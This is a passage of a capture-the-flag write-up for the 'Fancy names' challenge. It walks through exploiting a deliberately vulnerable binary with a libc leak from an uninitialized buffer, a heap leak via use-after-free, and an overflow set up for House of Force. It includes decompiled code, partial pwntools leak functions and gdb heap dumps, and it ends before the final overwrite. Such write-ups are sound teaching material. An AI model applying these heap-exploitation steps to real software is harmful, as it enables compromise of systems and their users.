Fancy names

15th April 2022 / Document No. DYY.102.276

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: Medium

Classification: Official

Synopsis

Fancy names is a Medium difficulty challenge that features leaking libc address from uninitilized buffer, leaking heap address with `UAF` and overwriting `__malloc_hook` with `one_gadget` or `system("/bin/sh")` with `House of Force` on `Ubuntu 18.04`.

Skills Learned

- Use-after-free, House of Force

Enumeration

First of all we start with `checksec`:

```
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./.glibc/
```

Protections

Protection	Enabled	Usage
Canary	✅	Prevents **Buffer Overflows**

Protection	Enabled	Usage
NX	✅	Disables **code execution** on stack
PIE	✅	Randomizes the **base address** of the binary
RelRO	**Full**	Makes some binary sections **read-only**
RUNPATH	b'./.glibc/	The path where the program loads the necessary libraries

All protections are **enabled**, so there is no obvious bug or exploitation path yet. The only "hint" we have is that it runs on a certain libc, meaning that it's more likely a heap challenge. Also, from the description, we can probably understand that it might be exploitable with House of Force. From the article, we have these requirements:

- Glibc version lower than 2.27
- A heap based overflow allowing overwriting the top chunk size field
- A heap address leak to so we know the relative offset to our write location.
- Our vulnerable application leaks the heap address, and allows us to call malloc() with an arbitrary size.

We can check the `libc version` like this:

```
➜  .glibc strings libc.so.6| grep version
versionsort64
versionsort
argp_program_version_hook
gnu_get_libc_version
argp_program_version
RPC: Incompatible versions of RPC
RPC: Program/version mismatch
<malloc version="1">
Print program version
(PROGRAM ERROR) No version known!?
%s: %s; low version = %lu, high version = %lu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
```

As we can see, it is `2.27`, meaning we can use the `House of Force` technique.

Now we need a very large input in order to overwrite `Top chunk's size`, a `heap` and a `libc` leak.

The interface of the program looks like this:

```
[*] Welcome friend, your default username is: ShimmeringBalloon1382

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
*  [2] Reroll name   *
*  [3] Continue      *
*  [4] Exit          *
*                    *
**********************

> 2

[!] Name has been deleted!
[*] Generating suggested names..

[*] Choose from suggested names:

1. ShyCube6732
2. PeeledClown8975
3. SleepyCaterpillar2818

> 2

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
*  [2] Reroll name   *
*  [3] Continue      *
*  [4] Exit          *
*                    *
**********************

> 1

[+] Old name has been deleted!

[*] Insert new name (minimum 5 chars): n

[*] Are you sure you want to use the name n
immeri
(y/n): n

[*] Name has not been changed!

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
*  [2] Reroll name   *
*  [3] Continue      *
*  [4] Exit          *
*                    *
```

```
**********
>
```

There is nothing obvious here. Let's open the disassembler.

Disassembly

Starting from `main()`:

```
void main(void)

{
  time_t tVar1;
  size_t __size;
  void *__buf;
  long lVar2;
  undefined8 *puVar3;
  long in_FS_OFFSET;
  byte bVar4;
  ulong local_138;
  undefined8 local_118 [33];
  undefined8 local_10;

  bVar4 = 0;
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setup();
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  lVar2 = 0x20;
  puVar3 = local_118;
  while (lVar2 != 0) {
    lVar2 = lVar2 + -1;
    *puVar3 = 0;
    puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
  }
  create_random_username(local_118);
  fprintf(stdout,"\n%s[*] Welcome friend, your default username is:
%s%s%s\n",&DAT_00102910,
          &DAT_00102948,local_118,&DAT_00102910);
  local_138 = 0;
  menu(local_118);
  while (local_138 < 4) {
    fflush(stdout);
    local_138 = local_138 + 1;
    fprintf(stdout,&DAT_00102b88,local_138);
    fflush(stdout);
    lVar2 = read_num();
    if (lVar2 == 1) {
      fwrite("\n[*] Stat points (max 120 per time): ",1,0x25,stdout);
      fflush(stdout);
      __size = read_num();
      __buf = malloc(__size);
      if (__buf == (void *)0x0) {
        fwrite("\n[-] Invalid points size! Exiting..\n",1,0x24,stdout);
```

```
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      fwrite("\n[*] Stat (e.g. Health, Strength, Agility or Custom):
",1,0x36,stdout);
      fflush(stdout);
      read(0,__buf,__size + 8);
      fprintf(stdout,"%s\n[+] Stat points
added!\n%s\n",&DAT_00102948,&DAT_00102910);
      fflush(stdout);
    }
    else {
      if (lVar2 != 2) break;
      fprintf(stdout,&DAT_00102c98,&DAT_00102948,&DAT_00102910);
    }
  }
                    /* WARNING: Subroutine does not return */
  exit(0x45);
}
```

There are some function calls:

- `setup()` : Sets the appropriate buffers in order for the challenge to run.
- `create_random_username(local_118)`: Will be analyzed later.
- `menu(local_118)` : Will be analyzed later.
- `read_num()`: Just returns the number as an unsigned long int.

create_random_username()

```
void create_random_username(char *param_1)

{
  int iVar1;
  time_t tVar2;
  long lVar3;
  undefined8 *puVar4;
  long in_FS_OFFSET;
  byte bVar5;
  undefined4 local_11e;
  undefined2 local_11a;
  undefined8 local_118 [33];
  long local_10;

  bVar5 = 0;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  lVar3 = 0x20;
  puVar4 = local_118;
  while (lVar3 != 0) {
    lVar3 = lVar3 + -1;
    *puVar4 = 0;
    puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
  }
```

```
  local_11e = 0;
  local_11a = 0;
  iVar1 = rand();
  strcat((char *)local_118,*(char **)(random_fnames + (long)(iVar1 % 0x39) *
8));
  iVar1 = rand();
  strcat((char *)local_118,*(char **)(random_snames + (long)(iVar1 % 0x35) *
8));
  iVar1 = rand();
  sprintf((char *)&local_11e,"%d",(ulong)(uint)(iVar1 % 9999));
  strcat((char *)local_118,(char *)&local_11e);
  strcpy(param_1,(char *)local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Nothing vulnerable here, just returns a random username.

menu()

```
void menu(char *param_1)

{
  bool bVar1;
  int iVar2;
  char *__dest;
  char *__dest_00;
  ssize_t sVar3;
  size_t sVar4;
  char *__format;
  time_t tVar5;
  long lVar6;
  undefined8 *puVar7;
  long in_FS_OFFSET;
  ulong local_2a0;
  long local_298;
  char local_26b [3];
  undefined8 local_268 [14];
  undefined8 local_1f8 [14];
  undefined8 local_188 [14];
  char local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_2a0 = 0;
  local_298 = 0;
  bVar1 = false;
  lVar6 = 0xc;
  puVar7 = local_268;
  while (lVar6 != 0) {
    lVar6 = lVar6 + -1;
    *puVar7 = 0;
```

```
    puVar7 = puVar7 + 1;
  }
  *(undefined4 *)puVar7 = 0;
  lVar6 = 0xc;
  puVar7 = local_1f8;
  while (lVar6 != 0) {
    lVar6 = lVar6 + -1;
    *puVar7 = 0;
    puVar7 = puVar7 + 1;
  }
  *(undefined4 *)puVar7 = 0;
  lVar6 = 0xc;
  puVar7 = local_188;
  while (lVar6 != 0) {
    lVar6 = lVar6 + -1;
    *puVar7 = 0;
    puVar7 = puVar7 + 1;
  }
  *(undefined4 *)puVar7 = 0;
  __dest = (char *)malloc(100);
  strcpy(__dest,param_1);
  __dest_00 = (char *)malloc(100);
  strcpy(__dest_00,param_1);
  do {
    while( true ) {
      while( true ) {
        while( true ) {
          if (1 < local_2a0) {
            fprintf(stdout,"\n%s[+] Welcome
%s!\n%s",&DAT_00102948,__dest_00,&DAT_00102910);
            fflush(stdout);
            if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
              __stack_chk_fail();
            }
            return;
          }
          fflush(stdout);
          fwrite(
                "\n[!] You can only change name twice! One custom and one
suggested. Choosewisely!\n\n"
                ,1,0x53,stdout);
          fwrite("********************\n",1,0x16,stdout);
          fwrite("*                  *\n",1,0x16,stdout);
          fwrite("*  [1] Custom name  *\n",1,0x16,stdout);
          fwrite("*  [2] Reroll name  *\n",1,0x16,stdout);
          fwrite("*  [3] Continue     *\n",1,0x16,stdout);
          fwrite("*  [4] Exit         *\n",1,0x16,stdout);
          fwrite("*                  *\n",1,0x16,stdout);
          fwrite("********************\n\n> ",1,0x19,stdout);
          fflush(stdout);
          lVar6 = read_num();
          if (lVar6 == 2) break;
          if (lVar6 == 3) {
            local_2a0 = 10;
          }
```

```
          else {
            if (lVar6 != 1) {
              fwrite("\n[+] Goodbye!\n\n",1,0xf,stdout);
                    /* WARNING: Subroutine does not return */
              exit(0);
            }
            if (local_298 == 2) {
              fprintf(stdout,"%s\n[-] Cannot change username
again!\n%s",&DAT_00102918,&DAT_00102910
                      );
            }
            else {
              if (local_298 == 0) {
                free(__dest);
                fflush(stdout);
                fprintf(stdout,"%s\n[+] Old name has been
deleted!%s\n",&DAT_00102948,&DAT_00102910)
                ;
                fflush(stdout);
                local_298 = 1;
              }
              fflush(stdout);
              fwrite("\n[*] Insert new name (minimum 5 chars):
",1,0x28,stdout);
              fflush(stdout);
              sVar3 = read(0,local_118,99);
              fflush(stdout);
              fprintf(stdout,"\n[*] Are you sure you want to use the name
%s\n(y/n): ",local_118);
              fflush(stdout);
              read(0,local_26b,2);
              if (local_26b[0] == 'y') {
                if ((int)sVar3 < 6) {
                  fprintf(stdout,"%s\n[-] Invalid
name!\n%s",&DAT_00102918,&DAT_00102910);
                  memset(local_118,0,(long)(int)sVar3);
                }
                else {
                  local_298 = 2;
                  local_2a0 = local_2a0 + 1;
                  strcpy(__dest_00,local_118);
                  sVar4 = strlen(__dest_00);
                  __dest_00[sVar4 - 1] = '\0';
                  iVar2 = strcmp(__dest_00,"wisely");
                  if (iVar2 == 0) {
                    __format = "\n%s[-.-] Very funny.. 10 points to
Gryffindor!%s\n\n";
                  }
                  else {
                    __format = "\n";
                  }
                  fprintf(stdout,__format,&DAT_00102918,&DAT_00102910);
                  fprintf(stdout,"\n[!] New name:
%s%s%s\n",&DAT_00102948,__dest_00,&DAT_00102910);
                  memset(local_118,0,0x100);
                }
```

```
              }
              else {
                memset(local_118,0,0x100);
                fprintf(stdout,"%s\n[*] Name has not been
changed!\n%s",&DAT_00102a4c,&DAT_00102910)
                ;
              }
            }
          }
        }
        if (!bVar1) break;
        fprintf(stdout,"%s\n[-] Cannot change username
again!\n%s",&DAT_00102918,&DAT_00102910);
      }
      free(__dest_00);
      fprintf(stdout,"\n%s[!] Name has been deleted!\n[*] Generating suggested
names..%s\n",
              &DAT_00102948,&DAT_00102910);
      create_random_username(local_268);
      sleep(1);
      tVar5 = time((time_t *)0x0);
      srand((uint)tVar5);
      create_random_username(local_1f8);
      sleep(1);
      tVar5 = time((time_t *)0x0);
      srand((uint)tVar5);
      create_random_username(local_188);
      fflush(stdout);
      fprintf(stdout,"\n[*] Choose from suggested names:\n\n1. %s\n2. %s\n3.
%s\n\n> ",local_268,
              local_1f8,local_188);
      fflush(stdout);
      lVar6 = read_num();
      if (lVar6 != 2) break;
      strcpy(__dest_00,(char *)local_1f8);
LAB_00102077:
      local_2a0 = local_2a0 + 1;
      bVar1 = true;
    }
    if (lVar6 == 3) {
      strcpy(__dest_00,(char *)local_188);
      goto LAB_00102077;
    }
    if (lVar6 == 1) {
      strcpy(__dest_00,(char *)local_268);
      goto LAB_00102077;
    }
    fprintf(stdout,"%s\n[-] Invalid option!\n%s",&DAT_00102918,&DAT_00102910);
    bVar1 = true;
  } while( true );
}
```

Pretty big function, so we are just going to focus on the important stuff.

Starting from option 1:

```
<SNIP>
if (local_298 == 0) {
                free(__dest);
                fflush(stdout);
                fprintf(stdout,"%s\n[+] Old name has been
deleted!%s\n",&DAT_00102948,&DAT_00102910)
                ;
                fflush(stdout);
                local_298 = 1;
              }
              fflush(stdout);
              fwrite("\n[*] Insert new name (minimum 5 chars):
",1,0x28,stdout);
              fflush(stdout);
              sVar3 = read(0,local_118,99);
              fflush(stdout);
              fprintf(stdout,"\n[*] Are you sure you want to use the name
%s\n(y/n): ",local_118);
              fflush(stdout);
              read(0,local_26b,2);
              if (local_26b[0] == 'y') {
                if ((int)sVar3 < 6) {
                  fprintf(stdout,"%s\n[-] Invalid
name!\n%s",&DAT_00102918,&DAT_00102910);
                  memset(local_118,0,(long)(int)sVar3);
                }
                else {
                  local_298 = 2;
                  local_2a0 = local_2a0 + 1;
                  strcpy(__dest_00,local_118);
                  sVar4 = strlen(__dest_00);
                  __dest_00[sVar4 - 1] = '\0';
                  iVar2 = strcmp(__dest_00,"wisely");
                  if (iVar2 == 0) {
                    __format = "\n%s[-.-] Very funny.. 10 points to
Gryffindor!%s\n\n";
                  }
                  else {
                    __format = "\n";
                  }
                  fprintf(stdout,__format,&DAT_00102918,&DAT_00102910);
                  fprintf(stdout,"\n[!] New name:
%s%s%s\n",&DAT_00102948,__dest_00,&DAT_00102910);
                  memset(local_118,0,0x100);
                }
              }
              else {
                memset(local_118,0,0x100);
                fprintf(stdout,"%s\n[*] Name has not been
changed!\n%s",&DAT_00102a4c,&DAT_00102910)
                ;
              }
<SNIP>
```

First of all, we see that it `frees` the `__dest` buffer. Then it changes the variable's value so that it cannot be freed again (double free protected).

Then, we see that there is a `read()`.

```
<SNIP>
sVar3 = read(0,local_118,99);
fflush(stdout);
fprintf(stdout,"\n[*] Are you sure you want to use the name %s\n(y/n):
",local_118);
<SNIP>
```

We can write at this buffer and print its content. But what does this buffer contain in the first place?

Libc leak

```
<SNIP>
char local_118 [264];
<SNIP>
```

It is a fixed size buffer (static, not dynamic), that is NOT initialized, meaning it might contain an address. We can fuzz this to check:

```
[*] Welcome friend, your default username is: TremendousGhostBuster807

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
*  [2] Reroll name   *
*  [3] Continue      *
*  [4] Exit          *
*                    *
**********************

> 1

[+] Old name has been deleted!

[*] Insert new name (minimum 5 chars):
aaaa
```

With a simple function, we can leak a `libc` address and calculate the offset from `libc base`.

```
def leak_libc():
  payload = "A"*56
  sa(">", "1")
  sa("5 chars):", payload)
  ru("the name " + payload)
  libc.address = u64(r.recvline().strip().ljust(8, b"\x00")) - 0x64f44
  sa("(y/n):", "n")
  # Check if libc base is correct, should end with 000
  if (libc.address & 0xfff) != 000:
    print(colored("[-] Libc base does not end with 000!", "red"))
    exit()
```

```
➜  htb python solver.py
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./.glibc/'
[+] Starting local process './fancy_names': pid 32442
[*] Libc base     @ 0x7f2b1d54c000
[*] Stopped process './fancy_names' (pid 32442)
```

So, from the uninitialized buffer, we managed to get a `libc` leak.

Small recap to what we need to use the `House of Force technique`.

- [✔️] Glibc version lower than 2.27
- [❓] A `heap based overflow` allowing overwriting the top chunk size field
- [❓] A `heap address leak` to so we know the relative offset to our write location.
- [❓] Our vulnerable application leaks the heap address, and allows us to call malloc() with an arbitrary size.
- [✔️] `Libc` address to overwrite `__malloc_hook` with `one_gadget` or `system("/bin/sh")`.

Now, we need to leak `heap addresses`.

Heap leak

At the very beggining of `menu()`, we see this:

```
<SNIP>
if (1 < local_2a0) {
  fprintf(stdout,"\n%s[+] Welcome
%s!\n%s",&DAT_00102948,__dest_00,&DAT_00102910);
  fflush(stdout);
<SNIP>
```

This might be at the beginning, but it's the last thing that is called before `menu` returns. `local_2a0` is a counter that is used in order to return without the opportunity to leak many things many times. We see that it prints the content of `__dest_00`. What is actually there?

```
<SNIP>
strcpy(__dest,param_1);
__dest_00 = (char *)malloc(100);
strcpy(__dest_00,param_1);
<SNIP>
```

It has the `old_username`. If we see where it is being modified:

```
<SNIP>
if (local_26b[0] == 'y') {
  if ((int)sVar3 < 6) {
    fprintf(stdout,"%s\n[-] Invalid name!\n%s",&DAT_00102918,&DAT_00102910);
    memset(local_118,0,(long)(int)sVar3);
  }
  else {
    local_298 = 2;
    local_2a0 = local_2a0 + 1;
    strcpy(__dest_00,local_118);
    sVar4 = strlen(__dest_00);
    __dest_00[sVar4 - 1] = '\0';
    iVar2 = strcmp(__dest_00,"wisely");
<SNIP>
```

```
<SNIP>
free(__dest_00);
fprintf(stdout,"\n%s[!] Name has been deleted!\n[*] Generating suggested
names..%s\n",
        &DAT_00102948,&DAT_00102910);
create_random_username(local_268);
sleep(1);
tVar5 = time((time_t *)0x0);
srand((uint)tVar5);
create_random_username(local_1f8);
sleep(1);
tVar5 = time((time_t *)0x0);
srand((uint)tVar5);
create_random_username(local_188);
fflush(stdout);
fprintf(stdout,"\n[*] Choose from suggested names:\n\n1. %s\n2. %s\n3. %s\n\n>
",local_268,
        local_1f8,local_188);
fflush(stdout);
lVar6 = read_num();
if (lVar6 != 2) break;
strcpy(__dest_00,(char *)local_1f8);
<SNIP>
```

So, we see that it is `freed` via option 2 and then some random usernames are generated. If we do not choose any of the suggested names, the `__dest_00` buffer is just freed and not zeroed or assigned with anything.

```
<SNIP>
```

```
fprintf(stdout,"\n[*] Choose from suggested names:\n\n1. %s\n2. %s\n3. %s\n\n>
",local_268,
        local_1f8,local_188);
fflush(stdout);
lVar6 = read_num();
if (lVar6 != 2) break;
strcpy(__dest_00,(char *)local_1f8);
LAB_00102077:
local_2a0 = local_2a0 + 1;
bVar1 = true;
}
if (lVar6 == 3) {
strcpy(__dest_00,(char *)local_188);
goto LAB_00102077;
}
if (lVar6 == 1) {
strcpy(__dest_00,(char *)local_268);
goto LAB_00102077;
}
fprintf(stdout,"%s\n[-] Invalid option!\n%s",&DAT_00102918,&DAT_00102910);
bVar1 = true;
<SNIP>
```

This means we can `Use it After it is Freed` -> UAF

UAF

We can get a better understanding inside `gdb`.

Debugging

Run the program, select the second option and when the random names are shown, we take a look at the heap:

```
gef➤  heap chunks
Chunk(addr=0x555555759010, size=0x250, flags=PREV_INUSE)
    [0x0000555555759010     00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x555555759260, size=0x70, flags=PREV_INUSE)
    [0x0000555555759260     4d 61 72 76 65 6c 6f 75 73 57 65 65 62 33 30 31
MarvelousWeeb301]
Chunk(addr=0x5555557592d0, size=0x70, flags=PREV_INUSE)
    [0x00005555557592d0     00 00 00 00 00 00 00 00 10 90 75 55 55 55 00 00
..........uUUU..]
Chunk(addr=0x555555759340, size=0x20cd0, flags=PREV_INUSE)  ←  top chunk
gef➤  x/20gx 0x5555557592d0-0x10
0x5555557592c0: 0x0000000000000000  0x0000000000000071
0x5555557592d0: 0x0000000000000000  0x0000555555759010 // we write here
0x5555557592e0: 0x0000000000000035  0x0000000000000000
0x5555557592f0: 0x0000000000000000  0x0000000000000000
0x555555759300: 0x0000000000000000  0x0000000000000000
0x555555759310: 0x0000000000000000  0x0000000000000000
0x555555759320: 0x0000000000000000  0x0000000000000000
0x555555759330: 0x0000000000000000  0x0000000000020cd1
0x555555759340: 0x0000000000000000  0x0000000000000000
```

```
0x555555759350: 0x0000000000000000  0x0000000000000000
```

We see that the address we write contains a `heap` address. To verify that this is the address we write, we continue by choosing one of the third options given.

```
gef➤  heap chunks
Chunk(addr=0x555555759010, size=0x250, flags=PREV_INUSE)
    [0x0000555555759010     00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x555555759260, size=0x70, flags=PREV_INUSE)
    [0x0000555555759260     4d 61 72 76 65 6c 6f 75 73 57 65 65 62 33 30 31
MarvelousWeeb301]
Chunk(addr=0x5555557592d0, size=0x70, flags=PREV_INUSE)
    [0x00005555557592d0     53 75 70 72 65 6d 65 46 6c 61 6d 65 35 38 30 33
SupremeFlame5803]
Chunk(addr=0x555555759340, size=0x20cd0, flags=PREV_INUSE)  ←  top chunk
gef➤  x/20gx 0x5555557592d0-0x10
0x5555557592c0: 0x0000000000000000  0x0000000000000071
0x5555557592d0: 0x46656d6572707553  0x33303835656d616c // As expected, this was
changed
0x5555557592e0: 0x0000000000000000  0x0000000000000000
0x5555557592f0: 0x0000000000000000  0x0000000000000000
0x555555759300: 0x0000000000000000  0x0000000000000000
0x555555759310: 0x0000000000000000  0x0000000000000000
0x555555759320: 0x0000000000000000  0x0000000000000000
0x555555759330: 0x0000000000000000  0x0000000000020cd1
0x555555759340: 0x0000000000000000  0x0000000000000000
0x555555759350: 0x0000000000000000  0x0000000000000000
```

What if we do not choose one of the options, because there is no check there?

Re-run the program:

```
gef➤  heap chunks
Chunk(addr=0x555555759010, size=0x250, flags=PREV_INUSE)
    [0x0000555555759010     00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x555555759260, size=0x70, flags=PREV_INUSE)
    [0x0000555555759260     43 75 74 65 50 61 6e 63 61 6b 65 45 61 74 65 72
CutePancakeEater]
Chunk(addr=0x5555557592d0, size=0x70, flags=PREV_INUSE)
    [0x00005555557592d0     00 00 00 00 00 00 00 00 10 90 75 55 55 55 00 00
..........uUUU..]
Chunk(addr=0x555555759340, size=0x20cd0, flags=PREV_INUSE)  ←  top chunk
gef➤  x/20gx 0x5555557592d0-0x10
0x5555557592c0: 0x0000000000000000  0x0000000000000071
0x5555557592d0: 0x0000000000000000  0x0000555555759010 // We write here
0x5555557592e0: 0x0000000031343239  0x0000000000000000
0x5555557592f0: 0x0000000000000000  0x0000000000000000
0x555555759300: 0x0000000000000000  0x0000000000000000
0x555555759310: 0x0000000000000000  0x0000000000000000
0x555555759320: 0x0000000000000000  0x0000000000000000
0x555555759330: 0x0000000000000000  0x0000000000020cd1
0x555555759340: 0x0000000000000000  0x0000000000000000
0x555555759350: 0x0000000000000000  0x0000000000000000
```

```
gef➤
```

Same thing here, now we continue and insert "5" as it is not a valid option

```
gef➤  c
Continuing.
5

[-] Invalid option!

[!] You can only change name twice! One custom and one suggested. Choose
wisely!

*********************
*                   *
*  [1] Custom name  *
*  [2] Reroll name  *
*  [3] Continue     *
*  [4] Exit         *
*                   *
*********************

> ^C
Program received signal SIGINT, Interrupt.
```

```
gef➤  x/20gx 0x5555557592d0-0x10
0x5555557592c0: 0x0000000000000000  0x0000000000000071
0x5555557592d0: 0x0000000000000000  0x0000555555759010 // We write here
0x5555557592e0: 0x0000000031343239  0x0000000000000000
0x5555557592f0: 0x0000000000000000  0x0000000000000000
0x555555759300: 0x0000000000000000  0x0000000000000000
0x555555759310: 0x0000000000000000  0x0000000000000000
0x555555759320: 0x0000000000000000  0x0000000000000000
0x555555759330: 0x0000000000000000  0x00000000000020cd1
0x555555759340: 0x0000000000000000  0x0000000000000000
0x555555759350: 0x0000000000000000  0x0000000000000000
```

The address where our choice is stored still has the same heap address!
We see that the first 8 bytes are 0, as we expected from the free. To trigger the UAF, we need to:

- malloc(a)
- malloc(b)
- free(a)
- free(b)

As we saw from option 1, it frees the old username that has been malloced at the beginning of the function.

```
<SNIP>
if (local_298 == 0) {
  free(__dest);
<SNIP>
```

Re-run the program, this time we first choose option 1 to let the first malloc, malloc, free to occur and then option 2 to let the second and last free occur.

```
gef➤  x/20gx 0x5555557592d0-0x10
0x5555557592c0: 0x0000000000000000  0x0000000000000071
0x5555557592d0: 0x0000555555759260  0x0000555555759010 // We write here
0x5555557592e0: 0x7265746f6f685365  0x0000000033363138
0x5555557592f0: 0x0000000000000000  0x0000000000000000
0x555555759300: 0x0000000000000000  0x0000000000000000
0x555555759310: 0x0000000000000000  0x0000000000000000
0x555555759320: 0x0000000000000000  0x0000000000000000
0x555555759330: 0x0000000000000000  0x00000000000020cd1
0x555555759340: 0x0000000000000000  0x0000000000000000
0x555555759350: 0x0000000000000000  0x0000000000000000
gef➤  heap chunks
Chunk(addr=0x555555759010, size=0x250, flags=PREV_INUSE)
    [0x0000555555759010     00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x555555759260, size=0x70, flags=PREV_INUSE)
    [0x0000555555759260     00 00 00 00 00 00 00 00 10 90 75 55 55 55 00 00
..........uUUU..]
Chunk(addr=0x5555557592d0, size=0x70, flags=PREV_INUSE)
    [0x00005555557592d0     60 92 75 55 55 55 00 00 10 90 75 55 55 55 00 00
`.uUUU....uUUU..]
Chunk(addr=0x555555759340, size=0x20cd0, flags=PREV_INUSE)  ←  top chunk
```

We can see that instead of being 0 as it is freed, it contains a heap address. This heap address is the previous chunk that was allocated. This one will be printed when we insert an "invalid" option.

```
<SNIP>
if (1 < local_2a0) {
  fprintf(stdout,"\n%s[+] Welcome
%s!\n%s",&DAT_00102948,__dest_00,&DAT_00102910);
  fflush(stdout);
<SNIP>
```

So, we can leak this `heap` address by inputing an invalid option.

```
def leak_libc():
  payload = "A"*56
  sa(">", "1")
  sa("5 chars):", payload)
  ru("the name " + payload)
  libc.address = u64(r.recvline().strip().ljust(8, b"\x00")) - 0x64f44
  sa("(y/n):", "n")
  # Check if libc base is correct, should end with 000
  if (libc.address & 0xfff) != 000:
    print(colored("[-] Libc base does not end with 000!", "red"))
    exit()

def leak_heap_address():
  log.info("Leaking heap address..")
  sa(">", "2")
  sa(">", "5")
```

```
    sa(">", "3")
    ru("Welcome ")
    return u64(ru("!")[:-1].ljust(8, b"\x00"))
```

```
➜  htb python solver.py
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./.glibc/'
[+] Starting local process './fancy_names': pid 35283
[*] Libc base     @ 0x7f99f9ca7000
[*] Leaking heap address..
[*] Heap leak     @ 0xefd260
[*] Stopped process './fancy_names' (pid 35283)
```

We can verify that there is a leak while fuzzing the program.

```
[*] Welcome friend, your default username is: WondrousSkid1313

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
*  [2] Reroll name   *
*  [3] Continue      *
*  [4] Exit          *
*                    *
**********************

> 1

[+] Old name has been deleted!

[*] Insert new name (minimum 5 chars):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[*] Are you sure you want to use the name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/5s
(y/n): n

[*] Name has not been changed!

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
*  [2] Reroll name   *
*  [3] Continue      *
*  [4] Exit          *
*                    *
**********************

> 2

[!] Name has been deleted!
[*] Generating suggested names..

[*] Choose from suggested names:

1. MarvelousWeeb6624
2. MajesticNoob5196
3. AstonishingSpirit7294

> 5

[-] Invalid option!

[!] You can only change name twice! One custom and one suggested.
Choose wisely!

**********************
*                    *
*  [1] Custom name   *
```

```
*  [1] Custom name  *
*  [2] Reroll name  *
*  [3] Continue     *
*  [4] Exit         *
*                   *
*********************

> 3

[+] Welcome `rc\x00sU! <-------- heap leak

[*] Choose actions (1/4):

1. Upgrade skills 🛡️
2. Get starter pack 💰
3. Exit 🏃
```

Quick recap:

- [✔️] Glibc version lower than 2.27
- [❓] A `heap based overflow` allowing overwriting the top chunk size field
- [✔️] A `heap address leak` to find the relative offset to our write location.
- [❓] Our vulnerable application leaks the heap address and allows us to call malloc() with an arbitrary size.
- [✔️] `Libc` address to overwrite `__malloc_hook` with `one_gadget` or `system("/bin/sh")`.

Now that we got our `heap address leak` we just need to see if we have a heap overflow to overwrite `Top chunk's size`.

Heap Overflow

After we return from the `menu` we continue with `main`:

```
<SNIP>
while (local_138 < 4) {
  fflush(stdout);
  local_138 = local_138 + 1;
  fprintf(stdout,&DAT_00102b88,local_138);
  fflush(stdout);
  lVar2 = read_num();
  if (lVar2 == 1) {
    fwrite("\n[*] Stat points (max 120 per time): ",1,0x25,stdout);
    fflush(stdout);
    __size = read_num();
    __buf = malloc(__size);
    if (__buf == (void *)0x0) {
      fwrite("\n[-] Invalid points size! Exiting..\n",1,0x24,stdout);
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    fwrite("\n[*] Stat (e.g. Health, Strength, Agility or Custom):
",1,0x36,stdout);
    fflush(stdout);
    read(0,__buf,__size + 8);
```

```
    fprintf(stdout,"%s\n[+] Stat points
added!\n%s\n",&DAT_00102948,&DAT_00102910);
    fflush(stdout);
<SNIP>
```

With option 1, it asks for "Stat points". This is inserted in the `__size` variable, which is used in the `malloc` function. That means, we can control the size we allocate! Then, we have an 8 bytes overflow at `__buf`. `__buf` is allocated with whatever we insert as size but we can write to it 8 more bytes.

Running the program with size 20 and "AAAABBBB" as input, we take a look at the heap.

```
********************
*                  *
*  [1] Custom name  *
*  [2] Reroll name  *
*  [3] Continue     *
*  [4] Exit         *
*                  *
********************

> 3

[+] Welcome CarnivorousLightbulb7310!

[*] Choose actions (1/4):

1. Upgrade skills 🛡️
2. Get starter pack 💰
3. Exit 🏃

> 1

[*] Stat points (max 120 per time): 20

[*] Stat (e.g. Health, Strength, Agility or Custom): AAAABBBB

[+] Stat points added!


[*] Choose actions (2/4):

1. Upgrade skills 🛡️
2. Get starter pack 💰
3. Exit 🏃
```

```
gef➤  heap chunks
Chunk(addr=0x555555759010, size=0x250, flags=PREV_INUSE)
    [0x0000555555759010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x555555759260, size=0x70, flags=PREV_INUSE)
    [0x0000555555759260     43 61 72 6e 69 76 6f 72 6f 75 73 4c 69 67 68 74
CarnivorousLight]
Chunk(addr=0x5555557592d0, size=0x70, flags=PREV_INUSE)
```

```
    [0x00005555557592d0     43 61 72 6e 69 76 6f 72 6f 75 73 4c 69 67 68 74
CarnivorousLight]
Chunk(addr=0x555555759340, size=0x20, flags=PREV_INUSE)
